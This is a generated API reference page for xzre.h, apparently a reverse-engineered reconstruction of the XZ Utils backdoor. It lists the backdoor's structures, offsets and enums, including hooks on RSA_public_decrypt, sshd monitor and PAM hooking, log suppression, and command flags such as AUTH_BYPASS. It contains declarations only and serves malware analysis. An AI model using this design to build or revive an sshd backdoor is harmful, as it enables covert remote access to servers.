xzre
Data Structures | Macros | Typedefs | Enumerations | Functions | Variables
xzre.h File Reference

XZ backdoor structures and functions. More...

#include <assert.h>
#include <link.h>
#include <stddef.h>
#include <stdint.h>
#include <sys/select.h>
#include <time.h>
#include <lzma.h>
#include <openssl/dsa.h>
#include <openssl/ec.h>
#include <openssl/evp.h>
#include <openssl/rsa.h>
#include <elf.h>
#include "util.h"

Go to the source code of this file.

Data Structures

struct  auditstate
 
struct  gnu_hash_table
 
struct  audit_ifaces
 
struct  lzma_sha256_state
 State for the internal SHA-256 implementation. More...
 
struct  lzma_check_state
 Structure to hold internal state of the check being calculated. More...
 
struct  monitor
 struct monitor from openssh-portable More...
 
struct  sensitive_data
 struct sensitive_data from openssh-portable More...
 
struct  sshkey
 struct sshkey from openssh-portable More...
 
struct  got_ctx
 
struct  elf_entry_ctx
 
struct  dasm_ctx
 
struct  elf_info
 
struct  libc_imports
 
struct  imported_funcs
 
struct  sshd_ctx
 
struct  sshd_log_ctx
 
union  sshd_offsets_kex
 
union  sshd_offsets_sshbuf
 
struct  sshd_offsets_fields
 
struct  sshd_offsets
 
struct  sshd_payload_ctx
 
struct  global_context
 
struct  backdoor_shared_globals
 
struct  ldso_ctx
 
struct  backdoor_hooks_data
 
struct  backdoor_hooks_ctx
 
struct  backdoor_setup_params
 
struct  elf_handles
 array of ELF handles More...
 
struct  main_elf
 
struct  backdoor_data_handle
 data passed to functions that access the backdoor data More...
 
struct  string_item
 
struct  string_references
 
struct  backdoor_data
 this structure is used to hold most of the backdoor information. it's used as a local variable in function backdoor_setup More...
 
struct  backdoor_shared_libraries_data
 
union  secret_data_shift_cursor_t
 represents a shift register, which will shift a '1' into the secret data array. the low 3 bits represent the bit index, while the rest represents the byte index this is convenient, since a simple increment will increment the buffer position correctly More...
 
struct  secret_data_item
 
struct  key_payload_hdr
 the payload header. also used as Chacha IV More...
 
union  u_cmd_arguments_t
 
struct  cmd_arguments
 
struct  key_payload_body
 
struct  key_payload
 the contents of the RSA 'n' field More...
 
struct  key_ctx
 
struct  monitor_data
 data used within sshd_proxy_elevate More...
 
union  backdoor_runtime_data
 union used within run_backdoor_commands More...
 
struct  run_backdoor_commands_data
 stack frame layout for run_backdoor_commands More...
 
struct  backdoor_cpuid_reloc_consts
 
struct  backdoor_tls_get_addr_reloc_consts
 
struct  elf_functions
 
struct  fake_lzma_allocator
 
struct  instruction_search_ctx
 
struct  dl_tls_index
 

Macros

#define _GNU_SOURCE
 
#define UPTR(x)   ((uptr)(x))
 
#define PTRADD(a, b)   (UPTR(a) + UPTR(b))
 
#define PTRDIFF(a, b)   (UPTR(a) - UPTR(b))
 
#define BUILD_BUG_ON_ZERO(e)   ((int)(sizeof(struct { int:(-!!(e)); })))
 
#define __same_type(a, b)   __builtin_types_compatible_p(typeof(a), typeof(b))
 
#define __must_be_array(a)   BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
 
#define ARRAY_SIZE(arr)   (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
 
#define CHACHA20_KEY_SIZE   32
 
#define CHACHA20_IV_SIZE   16
 
#define SHA256_DIGEST_SIZE   32
 
#define ED448_KEY_SIZE   57
 
#define ED448_SIGNATURE_SIZE   114
 
#define X_BN_num_bytes(bits)   (((bits)+7)/8)
 
#define XZDASM_OPC(op)   (op - 0x80)
 
#define TRUE   1
 
#define FALSE   0
 
#define assert_offset(t, f, o)   static_assert(offsetof(t, f) == o)
 
#define CONCAT(x, y)   x ## y
 
#define EXPAND(x, y)   CONCAT(x, y)
 
#define PADDING(size)   u8 EXPAND(_unknown, __LINE__)[size]
 
#define PERMIT_NOT_SET   -1
 
#define PERMIT_NO   0
 
#define PERMIT_FORCED_ONLY   1
 
#define PERMIT_NO_PASSWD   2
 
#define PERMIT_YES   3
 
#define TEST_FLAG(x, flag)   (((x) & (flag)) != 0)
 

Typedefs

typedef uint8_t u8
 
typedef uint16_t u16
 
typedef uint32_t u32
 
typedef uint64_t u64
 
typedef uintptr_t uptr
 
typedef Elf64_Xword Elf64_Relr
 
typedef struct link_map * lookup_t
 
typedef struct gnu_hash_table gnu_hash_table_t
 
typedef int BOOL
 
typedef struct got_ctx got_ctx_t
 
typedef struct elf_entry_ctx elf_entry_ctx_t
 
typedef struct dasm_ctx dasm_ctx_t
 
typedef struct elf_info elf_info_t
 
typedef struct libc_imports libc_imports_t
 
typedef int(* pfn_RSA_public_decrypt_t) (int flen, unsigned char *from, unsigned char *to, RSA *rsa, int padding)
 
typedef int(* pfn_EVP_PKEY_set1_RSA_t) (EVP_PKEY *pkey, struct rsa_st *key)
 
typedef void(* pfn_RSA_get0_key_t) (const RSA *r, const BIGNUM **n, const BIGNUM **e, const BIGNUM **d)
 
typedef struct imported_funcs imported_funcs_t
 
typedef int(* sshd_monitor_func_t) (struct ssh *ssh, int sock, struct sshbuf *m)
 
typedef struct sshd_ctx sshd_ctx_t
 
typedef void(* log_handler_fn) (LogLevel level, int forced, const char *msg, void *ctx)
 
typedef struct sshd_log_ctx sshd_log_ctx_t
 
typedef union sshd_offsets_kex sshd_offsets_kex_t
 
typedef union sshd_offsets_sshbuf sshd_offsets_sshbuf_t
 
typedef struct sshd_offsets_fields sshd_offsets_fields_t
 
typedef struct sshd_offsets sshd_offsets_t
 
typedef struct sshd_payload_ctx sshd_payload_ctx_t
 
typedef struct global_context global_context_t
 
typedef struct backdoor_shared_globals backdoor_shared_globals_t
 
typedef struct ldso_ctx ldso_ctx_t
 
typedef struct backdoor_hooks_data backdoor_hooks_data_t
 
typedef struct backdoor_hooks_ctx backdoor_hooks_ctx_t
 
typedef struct backdoor_setup_params backdoor_setup_params_t
 
typedef struct elf_handles elf_handles_t
 array of ELF handles More...
 
typedef struct main_elf main_elf_t
 
typedef struct backdoor_data backdoor_data_t
 this structure is used to hold most of the backdoor information. it's used as a local variable in function backdoor_setup
 
typedef struct backdoor_data_handle backdoor_data_handle_t
 data passed to functions that access the backdoor data
 
typedef struct string_item string_item_t
 
typedef struct string_references string_references_t
 
typedef struct backdoor_shared_libraries_data backdoor_shared_libraries_data_t
 
typedef struct secret_data_item secret_data_item_t
 
typedef struct key_payload_hdr key_payload_hdr_t
 the payload header. also used as Chacha IV More...
 
typedef struct cmd_arguments cmd_arguments_t
 
typedef struct key_payload_body key_payload_body_t
 
typedef struct key_payload key_payload_t
 the contents of the RSA 'n' field More...
 
typedef struct key_ctx key_ctx_t
 
typedef struct monitor_data monitor_data_t
 data used within sshd_proxy_elevate
 
typedef union backdoor_runtime_data backdoor_runtime_data_t
 union used within run_backdoor_commands
 
typedef struct run_backdoor_commands_data run_backdoor_commands_data_t
 stack frame layout for run_backdoor_commands
 
typedef struct backdoor_cpuid_reloc_consts backdoor_cpuid_reloc_consts_t
 
typedef struct backdoor_tls_get_addr_reloc_consts backdoor_tls_get_addr_reloc_consts_t
 
typedef struct elf_functions elf_functions_t
 
typedef struct fake_lzma_allocator fake_lzma_allocator_t
 
typedef struct instruction_search_ctx instruction_search_ctx_t
 
typedef struct dl_tls_index tls_index
 

Enumerations

enum  InstructionFlags {
  DF_LOCK_REP = 1 , DF_SEG = 2 , DF_OSIZE = 4 , DF_ASIZE = 8 ,
  DF_VEX = 0x10 , DF_REX = 0x20 , DF_MODRM = 0x40 , DF_SIB = 0x80
}
 
enum  InstructionFlags2 {
  DF_MEM_DISP = 0x1 , DF_MEM_DISP8 = 0x2 , DF_MEM_SEG_OFFS = 0x4 , DF_IMM = 0x8 ,
  DF_IMM64 = 0x10
}
 
enum  ElfFlags {
  X_ELF_PLTREL = 0x1 , X_ELF_RELA = 0x2 , X_ELF_RELR = 0x4 , X_ELF_VERDEF = 0x8 ,
  X_ELF_VERSYM = 0x10 , X_ELF_NOW = 0x20
}
 
enum  ModRm_Mod { MRM_I_REG , MRM_I_DISP1 , MRM_I_DISP4 , MRM_D_REG }
 
enum  FuncFindType { FIND_ENDBR64 , FIND_NOP }
 
enum  ElfId { X_ELF_MAIN = 0 , X_ELF_DYNAMIC_LINKER = 1 , X_ELF_LIBC = 2 , X_ELF_LIBCRYPTO = 3 }
 
enum  StringXrefId {
  XREF_xcalloc_zero_size = 0 , XREF_Could_not_chdir_to_home_directory_s_s = 1 , XREF_list_hostkey_types = 2 , XREF_demote_sensitive_data = 3 ,
  XREF_mm_terminate = 4 , XREF_mm_pty_allocate = 5 , XREF_mm_do_pam_account = 6 , XREF_mm_session_pty_cleanup2 = 7 ,
  XREF_mm_getpwnamallow = 8 , XREF_mm_sshpam_init_ctx = 9 , XREF_mm_sshpam_query = 10 , XREF_mm_sshpam_respond = 11 ,
  XREF_mm_sshpam_free_ctx = 12 , XREF_mm_choose_dh = 13 , XREF_sshpam_respond = 14 , XREF_sshpam_auth_passwd = 15 ,
  XREF_sshpam_query = 16 , XREF_start_pam = 17 , XREF_mm_request_send = 18 , XREF_mm_log_handler = 19 ,
  XREF_Could_not_get_agent_socket = 20 , XREF_auth_root_allowed = 21 , XREF_mm_answer_authpassword = 22 , XREF_mm_answer_keyallowed = 23 ,
  XREF_mm_answer_keyverify = 24 , XREF_48s_48s_d_pid_ld_ = 25 , XREF_Unrecognized_internal_syslog_level_code_d = 26
}
 
enum  EncodedStringId {
  STR_from = 0x810 , STR_ssh2 = 0x678 , STR_48s_48s_d_pid_ld_ = 0xd8 , STR_s = 0x708 ,
  STR_usr_sbin_sshd = 0x108 , STR_Accepted_password_for = 0x870 , STR_Accepted_publickey_for = 0x1a0 , STR_BN_bin2bn = 0xc40 ,
  STR_BN_bn2bin = 0x6d0 , STR_BN_dup = 0x958 , STR_BN_free = 0x418 , STR_BN_num_bits = 0x4e0 ,
  STR_Connection_closed_by = 0x790 , STR_Could_not_chdir_to_home_directory_s_s = 0x18 , STR_Could_not_get_agent_socket = 0xb0 , STR_DISPLAY = 0x960 ,
  STR_DSA_get0_pqg = 0x9d0 , STR_DSA_get0_pub_key = 0x468 , STR_EC_KEY_get0_group = 0x7e8 , STR_EC_KEY_get0_public_key = 0x268 ,
  STR_EC_POINT_point2oct = 0x6e0 , STR_EVP_CIPHER_CTX_free = 0xb28 , STR_EVP_CIPHER_CTX_new = 0x838 , STR_EVP_DecryptFinal_ex = 0x2a8 ,
  STR_EVP_DecryptInit_ex = 0xc08 , STR_EVP_DecryptUpdate = 0x3f0 , STR_EVP_Digest = 0xf8 , STR_EVP_DigestVerify = 0x408 ,
  STR_EVP_DigestVerifyInit = 0x118 , STR_EVP_MD_CTX_free = 0xd10 , STR_EVP_MD_CTX_new = 0xaf8 , STR_EVP_PKEY_free = 0x6f8 ,
  STR_EVP_PKEY_new_raw_public_key = 0x758 , STR_EVP_PKEY_set1_RSA = 0x510 , STR_EVP_chacha20 = 0xc28 , STR_EVP_sha256 = 0xc60 ,
  STR_EVP_sm = 0x188 , STR_GLIBC_2_2_5 = 0x8c0 , STR_GLRO_dl_naudit_naudit = 0x6a8 , STR_KRB5CCNAME = 0x1e0 ,
  STR_LD_AUDIT = 0xcf0 , STR_LD_BIND_NOT = 0xbc0 , STR_LD_DEBUG = 0xa90 , STR_LD_PROFILE = 0xb98 ,
  STR_LD_USE_LOAD_BIAS = 0x3e0 , STR_LINES = 0xa88 , STR_RSA_free = 0xac0 , STR_RSA_get0_key = 0x798 ,
  STR_RSA_new = 0x918 , STR_RSA_public_decrypt = 0x1d0 , STR_RSA_set0_key = 0x540 , STR_RSA_sign = 0x8f8 ,
  STR_SSH_2_0 = 0x990 , STR_TERM = 0x4a8 , STR_Unrecognized_internal_syslog_level_code_d = 0xe0 , STR_WAYLAND_DISPLAY = 0x158 ,
  STR_errno_location = 0x878 , STR_libc_stack_end = 0x2b0 , STR_libc_start_main = 0x228 , STR_dl_audit_preinit = 0xa60 ,
  STR_dl_audit_symbind_alt = 0x9c8 , STR_exit = 0x8a8 , STR_r_debug = 0x5b0 , STR_rtld_global = 0x5b8 ,
  STR_rtld_global_ro = 0xa98 , STR_auth_root_allowed = 0xb8 , STR_authenticating = 0x1d8 , STR_demote_sensitive_data = 0x28 ,
  STR_getuid = 0x348 , STR_ld_linux_x86_64_so = 0xa48 , STR_libc_so = 0x7d0 , STR_libcrypto_so = 0x7c0 ,
  STR_liblzma_so = 0x590 , STR_libsystemd_so = 0x938 , STR_list_hostkey_types = 0x20 , STR_malloc_usable_size = 0x440 ,
  STR_mm_answer_authpassword = 0xc0 , STR_mm_answer_keyallowed = 0xc8 , STR_mm_answer_keyverify = 0xd0 , STR_mm_answer_pam_start = 0x948 ,
  STR_mm_choose_dh = 0x78 , STR_mm_do_pam_account = 0x40 , STR_mm_getpwnamallow = 0x50 , STR_mm_log_handler = 0xa8 ,
  STR_mm_pty_allocate = 0x38 , STR_mm_request_send = 0xa0 , STR_mm_session_pty_cleanup2 = 0x48 , STR_mm_sshpam_free_ctx = 0x70 ,
  STR_mm_sshpam_init_ctx = 0x58 , STR_mm_sshpam_query = 0x60 , STR_mm_sshpam_respond = 0x68 , STR_mm_terminate = 0x30 ,
  STR_parse_PAM = 0xc58 , STR_password = 0x400 , STR_preauth = 0x4f0 , STR_pselect = 0x690 ,
  STR_publickey = 0x7b8 , STR_read = 0x308 , STR_rsa_sha2_256 = 0x710 , STR_setlogmask = 0x428 ,
  STR_setresgid = 0x5f0 , STR_setresuid = 0xab8 , STR_shutdown = 0x760 , STR_ssh_2_0 = 0xd08 ,
  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8 , STR_sshpam_auth_passwd = 0x88 , STR_sshpam_query = 0x90 , STR_sshpam_respond = 0x80 ,
  STR_start_pam = 0x98 , STR_system = 0x9f8 , STR_unknown = 0x198 , STR_user = 0xb10 ,
  STR_write = 0x380 , STR_xcalloc_zero_size = 0x10 , STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00 , STR_ELF = 0x300
}
 
enum  LogLevel {
  SYSLOG_LEVEL_QUIET , SYSLOG_LEVEL_FATAL , SYSLOG_LEVEL_ERROR , SYSLOG_LEVEL_INFO ,
  SYSLOG_LEVEL_VERBOSE , SYSLOG_LEVEL_DEBUG1 , SYSLOG_LEVEL_DEBUG2 , SYSLOG_LEVEL_DEBUG3 ,
  SYSLOG_LEVEL_NOT_SET = -1
}
 
enum  CommandFlags1 {
  X_FLAGS1_8BYTES = 0x1 , X_FLAGS1_SETLOGMASK = 0x4 , X_FLAGS1_SOCKET_INDEX = 0x20 , X_FLAGS1_DISABLE_PAM = 0x40 ,
  X_FLAGS1_NO_EXTENDED_SIZE = 0x80
}
 
enum  CommandFlags2 {
  X_FLAGS2_IMPERSONATE = 0x1 , X_FLAGS2_CHANGE_MONITOR_REQ = 0x2 , X_FLAGS2_AUTH_BYPASS = 0x4 , X_FLAGS2_CONTINUATION = 0x40 ,
  X_FLAGS2_PSELECT = 0xC0 , X_FLAGS2_SOCKFD_MASK = 0x78
}
 
enum  CommandFlags3 { X_FLAGS3_SOCKET_NUM = 0x1F , X_FLAGS3_MONITOR_REQ_VAL = 0x3F }
 
enum  SocketMode { DIR_WRITE = 0 , DIR_READ = 1 }
 

Functions

 assert_offset (got_ctx_t, got_ptr, 0)
 
 assert_offset (got_ctx_t, return_address, 0x8)
 
 assert_offset (got_ctx_t, cpuid_fn, 0x10)
 
 assert_offset (got_ctx_t, got_offset, 0x18)
 
 assert_offset (elf_entry_ctx_t, symbol_ptr, 0)
 
 assert_offset (elf_entry_ctx_t, got_ctx, 0x8)
 
 assert_offset (elf_entry_ctx_t, frame_address, 0x28)
 
 assert_offset (dasm_ctx_t, instruction, 0)
 
 assert_offset (dasm_ctx_t, instruction_size, 8)
 
 assert_offset (dasm_ctx_t, flags, 0x10)
 
 assert_offset (dasm_ctx_t, flags2, 0x11)
 
 assert_offset (dasm_ctx_t, lock_rep_byte, 0x14)
 
 assert_offset (dasm_ctx_t, seg_byte, 0x15)
 
 assert_offset (dasm_ctx_t, osize_byte, 0x16)
 
 assert_offset (dasm_ctx_t, asize_byte, 0x17)
 
 assert_offset (dasm_ctx_t, vex_byte, 0x18)
 
 assert_offset (dasm_ctx_t, vex_byte2, 0x19)
 
 assert_offset (dasm_ctx_t, vex_byte3, 0x1A)
 
 assert_offset (dasm_ctx_t, rex_byte, 0x1B)
 
 assert_offset (dasm_ctx_t, modrm, 0x1C)
 
 assert_offset (dasm_ctx_t, modrm_mod, 0x1D)
 
 assert_offset (dasm_ctx_t, modrm_reg, 0x1E)
 
 assert_offset (dasm_ctx_t, modrm_rm, 0x1F)
 
 assert_offset (dasm_ctx_t, imm64_reg, 0x20)
 
 assert_offset (dasm_ctx_t, sib, 0x21)
 
 assert_offset (dasm_ctx_t, sib_scale, 0x22)
 
 assert_offset (dasm_ctx_t, sib_index, 0x23)
 
 assert_offset (dasm_ctx_t, sib_base, 0x24)
 
 assert_offset (dasm_ctx_t, opcode, 0x28)
 
 assert_offset (dasm_ctx_t, mem_disp, 0x30)
 
 assert_offset (dasm_ctx_t, operand, 0x38)
 
 assert_offset (dasm_ctx_t, operand_zeroextended, 0x40)
 
 assert_offset (dasm_ctx_t, operand_size, 0x48)
 
 assert_offset (dasm_ctx_t, insn_offset, 0x50)
 
 assert_offset (elf_info_t, elfbase, 0x0)
 
 assert_offset (elf_info_t, first_vaddr, 0x8)
 
 assert_offset (elf_info_t, phdrs, 0x10)
 
 assert_offset (elf_info_t, e_phnum, 0x18)
 
 assert_offset (elf_info_t, dyn, 0x20)
 
 assert_offset (elf_info_t, dyn_num_entries, 0x28)
 
 assert_offset (elf_info_t, strtab, 0x30)
 
 assert_offset (elf_info_t, symtab, 0x38)
 
 assert_offset (elf_info_t, plt_relocs, 0x40)
 
 assert_offset (elf_info_t, plt_relocs_num, 0x48)
 
 assert_offset (elf_info_t, gnurelro_found, 0x4C)
 
 assert_offset (elf_info_t, gnurelro_vaddr, 0x50)
 
 assert_offset (elf_info_t, gnurelro_memsize, 0x58)
 
 assert_offset (elf_info_t, verdef, 0x60)
 
 assert_offset (elf_info_t, verdef_num, 0x68)
 
 assert_offset (elf_info_t, versym, 0x70)
 
 assert_offset (elf_info_t, rela_relocs, 0x78)
 
 assert_offset (elf_info_t, rela_relocs_num, 0x80)
 
 assert_offset (elf_info_t, relr_relocs, 0x88)
 
 assert_offset (elf_info_t, relr_relocs_num, 0x90)
 
 assert_offset (elf_info_t, code_segment_start, 0x98)
 
 assert_offset (elf_info_t, code_segment_size, 0xA0)
 
 assert_offset (elf_info_t, rodata_segment_start, 0xA8)
 
 assert_offset (elf_info_t, rodata_segment_size, 0xB0)
 
 assert_offset (elf_info_t, data_segment_start, 0xB8)
 
 assert_offset (elf_info_t, data_segment_size, 0xC0)
 
 assert_offset (elf_info_t, data_segment_alignment, 0xC8)
 
 assert_offset (elf_info_t, flags, 0xD0)
 
 assert_offset (elf_info_t, gnu_hash_nbuckets, 0xd8)
 
 assert_offset (elf_info_t, gnu_hash_last_bloom, 0xdc)
 
 assert_offset (elf_info_t, gnu_hash_bloom_shift, 0xe0)
 
 assert_offset (elf_info_t, gnu_hash_bloom, 0xe8)
 
 assert_offset (elf_info_t, gnu_hash_buckets, 0xf0)
 
 assert_offset (elf_info_t, gnu_hash_chain, 0xf8)
 
 assert_offset (libc_imports_t, resolved_imports_count, 0)
 
 assert_offset (libc_imports_t, malloc_usable_size, 8)
 
 assert_offset (libc_imports_t, getuid, 0x10)
 
 assert_offset (libc_imports_t, exit, 0x18)
 
 assert_offset (libc_imports_t, setresgid, 0x20)
 
 assert_offset (libc_imports_t, setresuid, 0x28)
 
 assert_offset (libc_imports_t, system, 0x30)
 
 assert_offset (libc_imports_t, write, 0x38)
 
 assert_offset (libc_imports_t, pselect, 0x40)
 
 assert_offset (libc_imports_t, read, 0x48)
 
 assert_offset (libc_imports_t, __errno_location, 0x50)
 
 assert_offset (libc_imports_t, setlogmask, 0x58)
 
 assert_offset (libc_imports_t, shutdown, 0x60)
 
 assert_offset (libc_imports_t, __libc_stack_end, 0x68)
 
 assert_offset (imported_funcs_t, RSA_public_decrypt, 0)
 
 assert_offset (imported_funcs_t, EVP_PKEY_set1_RSA, 8)
 
 assert_offset (imported_funcs_t, RSA_get0_key_null, 0x10)
 
 assert_offset (imported_funcs_t, RSA_public_decrypt_plt, 0x18)
 
 assert_offset (imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20)
 
 assert_offset (imported_funcs_t, RSA_get0_key_plt, 0x28)
 
 assert_offset (imported_funcs_t, DSA_get0_pqg, 0x30)
 
 assert_offset (imported_funcs_t, DSA_get0_pub_key, 0x38)
 
 assert_offset (imported_funcs_t, EC_POINT_point2oct, 0x40)
 
 assert_offset (imported_funcs_t, EC_KEY_get0_public_key, 0x48)
 
 assert_offset (imported_funcs_t, EC_KEY_get0_group, 0x50)
 
 assert_offset (imported_funcs_t, EVP_sha256, 0x58)
 
 assert_offset (imported_funcs_t, RSA_get0_key, 0x60)
 
 assert_offset (imported_funcs_t, BN_num_bits, 0x68)
 
 assert_offset (imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70)
 
 assert_offset (imported_funcs_t, EVP_MD_CTX_new, 0x78)
 
 assert_offset (imported_funcs_t, EVP_DigestVerifyInit, 0x80)
 
 assert_offset (imported_funcs_t, EVP_DigestVerify, 0x88)
 
 assert_offset (imported_funcs_t, EVP_MD_CTX_free, 0x90)
 
 assert_offset (imported_funcs_t, EVP_PKEY_free, 0x98)
 
 assert_offset (imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0)
 
 assert_offset (imported_funcs_t, EVP_DecryptInit_ex, 0xA8)
 
 assert_offset (imported_funcs_t, EVP_DecryptUpdate, 0xB0)
 
 assert_offset (imported_funcs_t, EVP_DecryptFinal_ex, 0xB8)
 
 assert_offset (imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0)
 
 assert_offset (imported_funcs_t, EVP_chacha20, 0xC8)
 
 assert_offset (imported_funcs_t, RSA_new, 0xD0)
 
 assert_offset (imported_funcs_t, BN_dup, 0xD8)
 
 assert_offset (imported_funcs_t, BN_bin2bn, 0xE0)
 
 assert_offset (imported_funcs_t, RSA_set0_key, 0xE8)
 
 assert_offset (imported_funcs_t, EVP_Digest, 0xF0)
 
 assert_offset (imported_funcs_t, RSA_sign, 0xF8)
 
 assert_offset (imported_funcs_t, BN_bn2bin, 0x100)
 
 assert_offset (imported_funcs_t, RSA_free, 0x108)
 
 assert_offset (imported_funcs_t, BN_free, 0x110)
 
 assert_offset (imported_funcs_t, libc, 0x118)
 
 assert_offset (imported_funcs_t, resolved_imports_count, 0x120)
 
 assert_offset (sshd_ctx_t, have_mm_answer_keyallowed, 0x0)
 
 assert_offset (sshd_ctx_t, have_mm_answer_authpassword, 0x4)
 
 assert_offset (sshd_ctx_t, have_mm_answer_keyverify, 0x8)
 
 assert_offset (sshd_ctx_t, mm_answer_authpassword_hook, 0x10)
 
 assert_offset (sshd_ctx_t, mm_answer_keyallowed, 0x18)
 
 assert_offset (sshd_ctx_t, mm_answer_keyverify, 0x20)
 
 assert_offset (sshd_ctx_t, mm_answer_authpassword_start, 0x28)
 
 assert_offset (sshd_ctx_t, mm_answer_authpassword_end, 0x30)
 
 assert_offset (sshd_ctx_t, mm_answer_authpassword_ptr, 0x38)
 
 assert_offset (sshd_ctx_t, monitor_reqtype_authpassword, 0x40)
 
 assert_offset (sshd_ctx_t, mm_answer_keyallowed_start, 0x48)
 
 assert_offset (sshd_ctx_t, mm_answer_keyallowed_end, 0x50)
 
 assert_offset (sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58)
 
 assert_offset (sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60)
 
 assert_offset (sshd_ctx_t, mm_answer_keyverify_start, 0x68)
 
 assert_offset (sshd_ctx_t, mm_answer_keyverify_end, 0x70)
 
 assert_offset (sshd_ctx_t, mm_answer_keyverify_ptr, 0x78)
 
 assert_offset (sshd_ctx_t, writebuf_size, 0x84)
 
 assert_offset (sshd_ctx_t, writebuf, 0x88)
 
 assert_offset (sshd_ctx_t, STR_unknown_ptr, 0xA0)
 
 assert_offset (sshd_ctx_t, mm_request_send_start, 0xA8)
 
 assert_offset (sshd_ctx_t, mm_request_send_end, 0xB0)
 
 assert_offset (sshd_ctx_t, use_pam_ptr, 0xC0)
 
 assert_offset (sshd_ctx_t, permit_root_login_ptr, 0xC8)
 
 assert_offset (sshd_ctx_t, STR_without_password, 0xD0)
 
 assert_offset (sshd_ctx_t, STR_publickey, 0xD8)
 
 assert_offset (sshd_log_ctx_t, logging_disabled, 0x0)
 
 assert_offset (sshd_log_ctx_t, log_hooking_possible, 0x4)
 
 assert_offset (sshd_log_ctx_t, syslog_disabled, 0x8)
 
 assert_offset (sshd_log_ctx_t, STR_percent_s, 0x10)
 
 assert_offset (sshd_log_ctx_t, STR_Connection_closed_by, 0x18)
 
 assert_offset (sshd_log_ctx_t, STR_preauth, 0x20)
 
 assert_offset (sshd_log_ctx_t, STR_authenticating, 0x28)
 
 assert_offset (sshd_log_ctx_t, STR_user, 0x30)
 
 assert_offset (sshd_log_ctx_t, log_handler_ptr, 0x38)
 
 assert_offset (sshd_log_ctx_t, log_handler_ctx_ptr, 0x40)
 
 assert_offset (sshd_log_ctx_t, orig_log_handler, 0x48)
 
 assert_offset (sshd_log_ctx_t, orig_log_handler_ctx, 0x50)
 
 assert_offset (sshd_log_ctx_t, sshlogv, 0x58)
 
 assert_offset (sshd_log_ctx_t, mm_log_handler, 0x60)
 
 assert_offset (global_context_t, uses_endbr64, 0x0)
 
 assert_offset (global_context_t, imported_funcs, 0x8)
 
 assert_offset (global_context_t, libc_imports, 0x10)
 
 assert_offset (global_context_t, disable_backdoor, 0x18)
 
 assert_offset (global_context_t, sshd_ctx, 0x20)
 
 assert_offset (global_context_t, sshd_sensitive_data, 0x28)
 
 assert_offset (global_context_t, sshd_log_ctx, 0x30)
 
 assert_offset (global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38)
 
 assert_offset (global_context_t, STR_rsa_sha2_256, 0x40)
 
 assert_offset (global_context_t, struct_monitor_ptr_address, 0x48)
 
 assert_offset (global_context_t, exit_flag, 0x50)
 
 assert_offset (global_context_t, sshd_offsets, 0x54)
 
 assert_offset (global_context_t, sshd_code_start, 0x58)
 
 assert_offset (global_context_t, sshd_code_end, 0x60)
 
 assert_offset (global_context_t, sshd_data_start, 0x68)
 
 assert_offset (global_context_t, sshd_data_end, 0x70)
 
 assert_offset (global_context_t, lzma_code_start, 0x80)
 
 assert_offset (global_context_t, lzma_code_end, 0x88)
 
 assert_offset (global_context_t, uid, 0x90)
 
 assert_offset (global_context_t, sock_read_buf_size, 0x98)
 
 assert_offset (global_context_t, sock_read_buf, 0xA0)
 
 assert_offset (global_context_t, payload_data_size, 0xE0)
 
 assert_offset (global_context_t, digest_offset, 0xE8)
 
 assert_offset (global_context_t, payload_data, 0xF0)
 
 assert_offset (global_context_t, sshd_payload_ctx, 0xF8)
 
 assert_offset (global_context_t, sshd_host_pubkey_idx, 0x100)
 
 assert_offset (global_context_t, payload_state, 0x104)
 
 assert_offset (global_context_t, secret_data, 0x108)
 
 assert_offset (global_context_t, shift_operations, 0x141)
 
 assert_offset (global_context_t, num_shifted_bits, 0x160)
 
 assert_offset (backdoor_shared_globals_t, mm_answer_authpassword_hook, 0x0)
 
 assert_offset (backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8)
 
 assert_offset (backdoor_shared_globals_t, globals, 0x10)
 
 assert_offset (ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40)
 
 assert_offset (ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48)
 
 assert_offset (ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50)
 
 assert_offset (ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58)
 
 assert_offset (ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60)
 
 assert_offset (ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68)
 
 assert_offset (ldso_ctx_t, _dl_audit_ptr, 0x70)
 
 assert_offset (ldso_ctx_t, _dl_naudit_ptr, 0x78)
 
 assert_offset (ldso_ctx_t, hooked_audit_ifaces, 0x80)
 
 assert_offset (ldso_ctx_t, libcrypto_l_name, 0xF8)
 
 assert_offset (ldso_ctx_t, _dl_audit_symbind_alt, 0x100)
 
 assert_offset (ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108)
 
 assert_offset (ldso_ctx_t, hook_RSA_public_decrypt, 0x110)
 
 assert_offset (ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118)
 
 assert_offset (ldso_ctx_t, hook_RSA_get0_key, 0x120)
 
 assert_offset (ldso_ctx_t, imported_funcs, 0x128)
 
 assert_offset (ldso_ctx_t, hooks_installed, 0x130)
 
 assert_offset (backdoor_hooks_data_t, ldso_ctx, 0)
 
 assert_offset (backdoor_hooks_data_t, global_ctx, 0x138)
 
 assert_offset (backdoor_hooks_data_t, imported_funcs, 0x2A0)
 
 assert_offset (backdoor_hooks_data_t, sshd_ctx, 0x3C8)
 
 assert_offset (backdoor_hooks_data_t, libc_imports, 0x4A8)
 
 assert_offset (backdoor_hooks_data_t, sshd_log_ctx, 0x518)
 
 assert_offset (backdoor_hooks_data_t, signed_data_size, 0x580)
 
 assert_offset (backdoor_hooks_data_t, signed_data, 0x588)
 
 assert_offset (backdoor_hooks_ctx_t, shared, 0x30)
 
 assert_offset (backdoor_hooks_ctx_t, hooks_data_addr, 0x38)
 
 assert_offset (backdoor_hooks_ctx_t, symbind64, 0x40)
 
 assert_offset (backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48)
 
 assert_offset (backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50)
 
